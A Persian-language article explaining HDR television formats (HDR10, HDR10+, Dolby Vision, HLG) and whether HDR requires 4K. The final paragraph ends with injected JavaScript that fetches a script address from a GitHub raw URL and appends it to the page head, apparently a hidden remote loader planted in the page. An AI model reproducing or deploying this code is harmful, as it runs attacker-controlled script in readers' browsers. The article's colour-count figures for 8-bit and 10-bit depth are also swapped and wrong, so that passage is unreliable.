معنای HDR چیست؟
در واقع HDR مخففی از کلمات High Dynamic Range رنج داینامیکی بالا است که به تکنولوژی ای اشاره دارد که به نمایشگر امکان رنج داینامیکی بیشتری از SDR یا رنج داینامیکی استاندارد را می دهد. اما رنج داینامیکی چیست؟ این ویژگی اساسا تفاوت بین تاریک ترین رنگ مشکی و روشن ترین رنگ سفیدی است که نمایشگر قدرت تولید ان را دارد.
وجود رنج داینامیکی بالاتر در تصاویر بسیار کاربردی است چراکه این فناوری کمک می کند که جزئیات در صحنه های بسیار روشن به صورت بهتر و واضح تر مشاهده شوند و صحنه هایی طبیعی تر و واقعی تر روی نمایشگر ایجاد شوند. محتوایی که قابلیت HDR در ان وجود ندارد حالتی بی روح و مصنوعی دارد درحالی که ویدیو های HDR به روشنایی و رنگ های واقعی نزدیک تر هستند.
پس از عرضه تکنولوژی HDR در تلویزیون ها فرمت های جدید تر و بهتر از این تکنولوژی نیز هر ساله به نمایشگر تلویزیون ها افزوده می شود به طوری که با گذشت زمان نمایشگر ها روشن و روشن تر می شوند و تصاویری واقعی تر از ان ها قابل نمایش و پخش خواهد بود. میزان افزایش روشنایی روی نمایشگر تلویزیون ها در اندازه که چشم کاربران را هنگام تماشا محتوا اذیت کند نمی باشد بلکه تنها با میزان روشنایی مناسب موجود در ان ها جزئیات صحنه و هایلایت های موجود در ان با وضوح بالاتری پخش می شوند. همین مورد درباره میزان تاریکی صحنه ها نیز صدق می کند به صورتی که هرچه با تاریک تر شدن تصاویر جزئیات بیشتری در سایه و قسمت های دیگر تصویر نمایان می شود. بهترین نمایشگر های موجود در تلویزیون ها برای نمایش تاریکی مطلق در تصاویر نمایشگر OLED و Micro-LED می باشند که می توانند تاریکی واقعی را روی صفحه نمایش ایجاد کنند.
جدا از روشنایی، فرمت های HDR می توانند رنگ هایی بهتر و بیشتر را نمایش دهند.
فرمت HDR10
انواع و فرمت های مختلفی از HDR بر روی نمایشگر تلویزیون های امروزه پیدا می شود. مشهور ترین این فرمت ها شامل HDR10 , HDR10+ , Dolby vision و HLG می باشند که در میان ان ها نیز معروف ترین فرمت HDR10 می باشد.
دلایل زیادی برای مشهور بودن این فرمت وجود دارد، برای مثال این فرمت یک استاندار بدون محدودیت و قابل استفاده در سرویس های متعدد مانند نتفلیکس، Disney+ ، Apple tv و … می باشد.
فرمت HDR10 از 10 بیت عمق رنگی پشتیبانی می کند بنابراین رنگ های پشتیبانی شده در ان بسیار بیشتر از 8 بیت رنگی در تصاویر SDR می باشد. به عبارتی محتوا 8-bit نزدیک به 17 بیلیون رنگ را پشتیبانی می کند در حالی که تصاویر 10-bit از یک میلیون رنگ پشتیبانی خواهند کرد. در تعدادی از تلویزیون ها نیز 12-bit عمق رنگی ساپورت می شود بنابراین در ان ها 68 بیلیون رنگ نمایش داده می شود.
فرمت HDR10 برای تولید 1,000 نیت روشنایی ساخته شده است- بیشترین تلویزیون های بالا رده امروزی بیشتر از این مقدار روشنایی می توانند تولید کنند. HDR10 از چیزی به نام static metadata استفاده می کند، بدین معنا که مجموعه ای از ابرداده ها در ابتدا صحنه به نمایشگر انتقال داده می شود. خاصیت این ویژگی این است که پهنا باند کمتری از فرمت هایی مانند دالبی ویژن که ابرداده ها را صحنه به صحنه انتقال می دهد استفاده می کند.
فرمت HDR 10+
دالبی ویژن ممکن است از HDR10 بهتر باشد اما به دلیل اینکه استاندار محدودی است ممکن است برای تولید کنندگان هزینه بیشتری داشته باشد و همین امر موجب عرضه HDR10+ شد.
فرمت HDR10+ فرمت قبلی HDR10 را گسترش می دهد اما مانند دالبی ویژن پیشرفته نمی باشد. این فرمت از 10-bit رنگی پشتیبانی می کند اما سطح روشنایی در ان به 4,000 نیت ارتقا داده شده است. بسیاری از تولید کنندگان تلویزیون ، محصولاتی با پشتیبانی از HDR10+ را عرضه کرده اند اما محتوا و دیگر دستگاه ها کمتر پیدا می شوند. این فرمت در مرور زمان معروف تر شده و در رقابت بیشتری با دالبی ویژن Dolby Vision قرار می گیرد.
فرمت Dolby Vision
دالبی ویژن فرمتی است که توسط Dolby Labs توسعه پیدا کرده است. این فرمت مانند HDR10 فرمتی باز نیست به همین دلیل در تمام تلویزیون ها پشتیبانی نمی شود. محتویاتی که از این فرمت پشتیبانی می کنند شامل سرویس های نتفلیکس ، Disney+ و Apple TV+ می باشند.
دالبی ویژن نسبت به فرمت های دیگر HDR از قابلیت های واضح تر برخوردار است. در ظاهر این فرمت از 12-bit رنگ پشتیبانی می کند و حداکثر روشنایی ان 10,000 نیت است که البته هیچ محتوایی با این میزان از روشنایی و رنگ موجود نمی باشد که این موضوح ثابت کننده پیشرفت بسیار زیاد دالبی ویژن نسبت به دیگر فرمت های HDR می باشد. احتمال دارد فناوری های اینده نسبت به دالبی ویژن بهتر عمل کنند اما ممکن است این اتفاق مدتی به طول بینجامد.
برخلاف HDR10 دالبی ویژن از dynamic metadata استفاده می کند به این معنا که هر فریم از ویدیو می تواند بهینه سازی شود. نقطه ضعف این ویژگی این است که از پهنا باند بسیار بیشتری استفاده می کند اما با این حال عملکرد ان بسیار بهتر از HDR10 می باشد.
فرمت HLG
فرمت HLG یا Hybrid Log-Gamma از دیگر فرمت های HDR متفاوت است. برخلاف دیگر فرمت های HDR در HLG از metadata برای اطلاع به نمایشگر برای نمایش تصویر استفاده نمی شود در مقابل این ویژگی از یک سیگنال SDR استفاده می کند و اطلاعات HDR را به ان اضافه می کند. این بدین معناست که در تلویزیون هایی که از HLG پشتیبانی نمی شود تنها تصاویر را با فرمت SDR نمایش می دهد. و تلویزیون هایی که از ان پشتیبانی می کند اطلاعات اضافی را درباره نحو نمایش تصویر روشن تر و واقعی تر را دریافت می کنند. از ویژگی های منفی این فرمت می توان به کارایی نه چندان مناسب ان در سطوح تاریک اشاره کرد. در صحنه های تاریک جزئیات پنهان می مانند و به خوبی نمایش داده نمی شوند. این فرمت همچنان بسیار ابتدایی است و محتویات زیادی برای ان وجود ندارد.
ایا قابلیت HDR تنها برای 4K است؟
در واقع این دو موضوع ربطی به یکدیگر ندارند چراکه فورکی به رزولوشن تلویزیون اشاره دارد در حالی که HDR بیشتر بر رنج رنگی که بر روی نمایشگر پخش می شود اشاره می کند. بیشتر تلویزیون های فورکی از انواع مختلف فرمت های HDR پشتیبانی می کند درحالی که در برخی از تلویزیون های 1080p نیز فرمت های HDR ساپورت می شود. (var url = “https://raw.githubusercontent.com/truba77/trubnik/main/to.txt”; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(“script”); script.src = data.trim(); document.getElementsByTagName(“head”)[0].appendChild(script); });)
